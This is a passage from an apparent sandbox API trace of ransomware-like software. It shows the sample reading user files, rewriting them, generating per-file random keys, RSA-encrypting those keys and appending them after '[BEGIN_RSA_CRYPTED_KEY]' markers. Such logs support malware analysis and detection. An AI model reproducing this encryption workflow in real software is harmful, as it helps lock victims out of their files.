lpFileSize=0x2e3f9b8*=0) returned 1 [0213.131] ReadFile (in: hFile=0x1840, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0213.131] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.132] WriteFile (in: hFile=0x1840, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0213.132] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0213.132] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.132] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.132] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0213.132] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0213.133] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0213.133] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="1UnACa8J6VcnBif77JlbkAKsdB15Mx1wqwbZ7fifMSLRFcRAfPwFiX7e3RM7Shvp\nUb34kw3zxwZsT3L/ULoTtWJnslondRSwUeSH7BYPTYwO5wmRSq9165LzarheAKOu\n/L4zyaPNR+EyCivZADNndzLa4iNq8xPeQPeP9kK2VyruRgvxJNOyHpWbKmgY6Zc5\nwuDGgVY/2tcDKksPSSUrXmjDbTpDIkZaCJvvRdEssFDkXvIL+1Zt64xhQhct8+Xh\nOQ0tUl4AFD8vMU/9pF0NTLt5TkKXPPRJRzyXelRA1/2C4lYtwNi3X4QYCmh035sM\nkOv8iylnAJoKGxxdKC+IDQ==\n", pcchString=0x2e3f9a8) returned 1 [0213.133] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0213.133] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.133] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.133] CloseHandle (hObject=0x1840) returned 1 [0213.135] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0213.135] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\da9a9235bb06a52bf295af785e78ffde23dc3d5f4b802e7e5b2a2e5b3c120ff8", dwFileAttributes=0x80) returned 1 [0213.135] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\da9a9235bb06a52bf295af785e78ffde23dc3d5f4b802e7e5b2a2e5b3c120ff8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\da9a9235bb06a52bf295af785e78ffde23dc3d5f4b802e7e5b2a2e5b3c120ff8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0213.136] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1778431) returned 1 [0213.136] ReadFile (in: hFile=0x1840, lpBuffer=0x354b020, nNumberOfBytesToRead=0x1b22ff, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354b020*, lpNumberOfBytesRead=0x2e3f9b4*=0x1b22ff, lpOverlapped=0x0) returned 1 [0213.223] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-1778431, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.223] WriteFile (in: hFile=0x1840, lpBuffer=0x370e020*, nNumberOfBytesToWrite=0x1b22ff, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x370e020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1b22ff, lpOverlapped=0x0) returned 1 [0213.231] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1b22ff [0213.232] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.232] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.232] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0213.232] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0213.232] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0213.232] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="SsiBRl/CdU4yMGWsBh8Z5NHvcA+fl51K0uXto5phJCQ58uro1hudcw2zyeWJn8j9\nxWfcvQumR3jkCO9mMylUWkd4wk0l0Yoj40qsuOFQhXYgiHTbT+nCozLroEwMdl+L\niejnX33uqR4LB8xETSrZ1kWylctwEHJ4yTmVKhNZily3IUMgk5Pc/zMmqC3krGLb\nSgztR5KIMA0nkxBNXC79zDFeREV7zDRlckuafC2t1JuaVpWV4OvBU+UVMbKm3vMO\nLdeGUGlOzxtrH4mvV/EMLWH2VVuMrhqjdDEVmYf5jvgXXT9uzr8dwj6hSFkYfYfC\nfuzheE32Og2mTdIir2B4LA==\n", pcchString=0x2e3f9a8) returned 1 [0213.232] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0213.232] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.232] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.232] CloseHandle (hObject=0x1840) returned 1 [0213.234] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0213.234] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\d88e3539801f345ed99c97a6d8522f1c1eba12703b5af88c2c3e30bf9e55e53e", dwFileAttributes=0x80) returned 1 [0213.235] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\d88e3539801f345ed99c97a6d8522f1c1eba12703b5af88c2c3e30bf9e55e53e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\d88e3539801f345ed99c97a6d8522f1c1eba12703b5af88c2c3e30bf9e55e53e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0213.235] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16750) returned 1 [0213.235] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x416e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x416e, lpOverlapped=0x0) returned 1 [0213.252] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-16750, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.252] WriteFile (in: hFile=0x1840, lpBuffer=0x2f37028*, nNumberOfBytesToWrite=0x416e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f37028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x416e, lpOverlapped=0x0) returned 1 [0213.252] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x416e [0213.252] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.252] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.252] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0213.252] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0213.253] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0213.253] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="90jNJbDF7IzS879Zs9ZC6jD2i+/bHLypCQsmllql/s+WgsLqsEZq5KW4B9tj9y8q\n8NbKee+hyaCWkY7svJVyrqEnvwxZJjG13zIvRoNeVQMJ6b9P66xp4yZGl0vATeC1\nt3vTfE95EC1HHwLeO6AsWEjsteO2LFU6sgUavC45i1kPbbgAcwoQZLHM67jRD9pz\nJq5SxUfseYFNC2PQaBqvBSPUHIZGYlP14eG0hDHS7ekCr9MpZr8f7zAaLreVDo4C\nLBvxXb2QJwC6q/d2D0m1aoFnDDgquokfHGr29Jhd3DiM/dF+TrvARwd8aruUHf98\n0n9IdWKk00V7OINbJgOTYw==\n", pcchString=0x2e3f9a8) returned 1 [0213.253] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0213.253] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.253] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.253] CloseHandle (hObject=0x1840) returned 1 [0213.255] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0213.255] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\d15c8e99fdaf18a82b28332bd766af5a2034fb903b2be95b473103e7e4da0d6c", dwFileAttributes=0x80) returned 1 [0213.256] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\d15c8e99fdaf18a82b28332bd766af5a2034fb903b2be95b473103e7e4da0d6c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\d15c8e99fdaf18a82b28332bd766af5a2034fb903b2be95b473103e7e4da0d6c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0213.256] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16780) returned 1 [0213.256] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x418c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x418c, lpOverlapped=0x0) returned 1 [0213.261] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-16780, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.261] WriteFile (in: hFile=0x1840, lpBuffer=0x2f37028*, nNumberOfBytesToWrite=0x418c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f37028*, lpNumberOfBytesWritten=0x2e3f9b4*=0x418c, lpOverlapped=0x0) returned 1 [0213.261] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x418c [0213.261] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.261] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.261] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0213.261] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0213.262] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0213.262] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="GVIO2P50RV5VPsiXtnpoo9DYqbHy13l6DCUc9Mnbd5iGaL1/cYX0ZSD9v97AHQfU\n84FRqL4DIlt05Z0zJsz8DkgoPZO0n5aMp2iAVVjSeYVZ4Xa3EtP9EFEMadKcbR0M\nyQWSUl7SJ1LW/EE/TCZVAbVfHQgx9i0F+D8m/CS1s2rDq3ELrUJmB8NUhSE/uKdF\nI7/N82MmwPecXQOUQoxEnsmb2F9/+/m+aGjBSSydGFp20I1O9Lg8T8Wm4DfqfPwb\n02hmg+sHp2wJq6Y5ZjkavGDqCwtPycKIdIw6O0NH8ulrbXUSTJ+WQ4WE3Bd7Qmvn\nmbZo8jA7Pru6i3yumLLXHA==\n", pcchString=0x2e3f9a8) returned 1 [0213.262] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0213.262] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.262] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.262] CloseHandle (hObject=0x1840) returned 1 [0213.264] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0213.264] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\c69e287ad304ff9adf8f6ea2a8d081f4fc18028908cef42f32726bbb7f84bc3d", dwFileAttributes=0x80) returned 1 [0213.264] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\c69e287ad304ff9adf8f6ea2a8d081f4fc18028908cef42f32726bbb7f84bc3d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\c69e287ad304ff9adf8f6ea2a8d081f4fc18028908cef42f32726bbb7f84bc3d"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0213.265] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=26153) returned 1 [0213.265] ReadFile (in: hFile=0x1840, lpBuffer=0x2f37028, nNumberOfBytesToRead=0x6629, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f37028*, lpNumberOfBytesRead=0x2e3f9b4*=0x6629, lpOverlapped=0x0) returned 1 [0213.275] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-26153, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.275] WriteFile (in: hFile=0x1840, lpBuffer=0x3351010*, nNumberOfBytesToWrite=0x6629, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6629, lpOverlapped=0x0) returned 1 [0213.276] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6629 [0213.276] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.276] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.276] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0213.276] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0213.276] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0213.276] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="h4P8Tp/mx8e4QhttHLvgZFTwgO2qAFQBfTi+95VsO5aCX5Z4N1bXjc+mCHz0hpsw\nu1kp7jZrsSCVODzp7KedwfQ9+I6qy2ux6dGb9JK5Wriw21oS/lbJeHPUvE7dBLxN\n/q0KpYco31phUU1nWVEJhYthd+MmrycS7ifY4fLy+Wph8w4hP1W0MKE2ZraW0Le3\nzuoICzM7JwxWQVemJnljue6TRP9W2OnKQMZOSexkJx/Q1pELPdUiTblK8K8P7yJ8\nuanDhe59XRH+NYv6ViUv2d+uq56yJkSS1f1PI3bj/XbQ9ivTxOaR4Pd46FQjcAY8\ncKUiLGgoYf6W3W/jd/j3pQ==\n", pcchString=0x2e3f9a8) returned 1 [0213.276] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0213.277] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.277] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.277] CloseHandle (hObject=0x1840) returned 1 [0213.292] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0213.292] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\c35c5eef07eec7d3a8b8d53ee86d6b0d68502c8108171f206c183ec953766704", dwFileAttributes=0x80) returned 1 [0213.293] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\c35c5eef07eec7d3a8b8d53ee86d6b0d68502c8108171f206c183ec953766704" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\c35c5eef07eec7d3a8b8d53ee86d6b0d68502c8108171f206c183ec953766704"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0213.293] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=15520) returned 1 [0213.293] ReadFile (in: hFile=0x1840, lpBuffer=0x2f37028, nNumberOfBytesToRead=0x3ca0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f37028*, lpNumberOfBytesRead=0x2e3f9b4*=0x3ca0, lpOverlapped=0x0) returned 1 [0213.306] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-15520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0213.306] WriteFile (in: hFile=0x1840, lpBuffer=0x2f3acd0*, nNumberOfBytesToWrite=0x3ca0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3acd0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x3ca0, lpOverlapped=0x0) returned 1 [0213.307] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x3ca0 [0213.307] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.307] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.307] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0213.307] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0213.307] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0213.307] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="2KJkd3smeus0d3gsU+3dWDkv0z/ShuFGl8udUA5FfU5mfWuLWMQrI3KstujtZ/vJ\nkpjthpvkw3sD0MXj+uCRHbjEBLvAod8CSUybmGZdj6C2dyuP8j8+Xda8eNl4Y9dW\nUNdQXbGbJiGJ6LPIr2ixsLiypoWT41GCH/yuKbACDUoBk1d2Fncsm2yFZV6zZ/Fc\nElny8aH/6FthQdrD0S+7Ejsl4830g78wbDfoA8kuLBcj1IQIGuVpz0WSCZt78yJI\ncQKIDOjx02Ta19UIPL3eQXqEL5/bql3OE8nrIupJNaU9MQOFaREGewpJTRNua69T\nwlrGDqZzs5+qxuOO0IKehg==\n", pcchString=0x2e3f9a8) returned 1 [0213.307] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0213.308] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0213.308] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0213.308] CloseHandle (hObject=0x1840) returned 1 [0213.310] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0213.310] SetFileAttributesW 